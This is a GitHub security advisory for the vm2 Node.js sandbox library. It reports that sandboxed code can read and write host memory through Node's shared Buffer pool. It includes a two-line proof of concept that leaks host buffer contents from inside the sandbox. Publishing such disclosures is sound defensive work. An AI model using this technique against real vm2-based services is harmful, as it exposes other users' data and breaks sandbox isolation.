GHSA-fcqc-726x-5wfc
vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Sandboxed code is able to disclose host memory used by small allocations by `Buffer.from`, `Buffer.concat`.
### Details
vm2 exposes `Buffer` object to sandboxed code by default. Small [`Buffer` allocations](https://nodejs.org/api/buffer.html#static-method-bufferallocunsafesize) (for example, [Buffer.allocUnsafe()](https://nodejs.org/api/buffer.html#static-method-bufferallocunsafesize), [Buffer.from(array)](https://nodejs.org/api/buffer.html#static-method-bufferfromarray), [Buffer.from(string)](https://nodejs.org/api/buffer.html#static-method-bufferfromstring-encoding), and [Buffer.concat()](https://nodejs.org/api/buffer.html#static-method-bufferconcatlist-totallength)) use the same Buffer pool, which is shared with the sandbox. This allows sandboxed code to disclose host memory used by the functions listed above.
### PoC
Tested against `[email protected]` in the node REPL.
```javascript
Buffer.from('host-memory-should-not-leak-to-sandbox')
new (require('vm2').VM)().run(`Buffer.from(Buffer.from([0]).buffer, 0, Buffer.from([0]).buffer.byteLength).toString('ascii')`)
```
<img width="1044" height="104" alt="Screenshot 2026-07-23 at 17 54 15" src="https://github.com/user-attachments/assets/987b860c-6702-4818-bfaa-c77919c777e5" />
### Impact
Since sandbox acquires an ArrayBuffer that is used by the host, it can disclose sensitive data going through functions mentioned above and even write to these buffers, which can lead to sensitive data exposure and potentially denial-of-service.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc
- https://nvd.nist.gov/vuln/detail/CVE-2026-92947
- https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-memory-disclosure-via-buffer-pool